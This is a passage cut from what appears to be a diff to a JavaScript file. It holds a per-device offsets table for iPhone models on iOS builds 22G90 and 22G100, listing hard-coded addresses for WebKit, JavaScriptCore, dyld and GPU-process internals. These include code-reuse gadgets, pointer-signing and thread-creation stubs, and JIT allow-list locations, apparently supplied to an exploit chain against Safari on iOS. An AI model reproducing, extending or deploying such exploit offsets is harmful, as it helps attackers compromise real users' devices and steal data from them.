RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone17,5_22G90": { + __pthread_head : 0x269720020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa390n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa2f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa340n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9738n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7085c8n, + free_slabs : 0x1ed7c1d50n, + gadget_control_1_ios184 : 0x23ed6d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daf70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dab70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb0f8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc59870n, + libsystem_c__atexit_mutex : 0x1ed6e71d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6440n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a13e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271de4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b1e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887fb8n, + WebCore__initPKContact_value : 0x1ed887fc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f478n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886790n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886788n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886770n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c3c0n, + }, + + "iPhone11,2_4_6_22G100": { + __pthread_head : 0x2689b0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef4e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccf08b4n, + libGPUCompilerImplLazy_cstring : 0x23be3a870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576dfe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27101c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, + "iPhone11,8_22G100": { + __pthread_head : 0x26899c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576a3e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271004000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, + "iPhone12,1_22G100": { + __pthread_head : 0x268aa4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f98c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707b48n, + free_slabs : 0x1ed7c12d0n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da4f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da1a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da1a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da0f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da1b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e6758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e59c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576e7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271118000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887538n, + WebCore__initPKContact_value : 0x1ed887540n, + WebCore__PAL_getPKContactClass : 0x1ed87e9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b940n, + }, + "iPhone12,3_5_22G100": { + __pthread_head : 0x268aa4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f98c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707b48n, + free_slabs : 0x1ed7c12d0n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da4f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da1a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da1a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da0f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da1b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 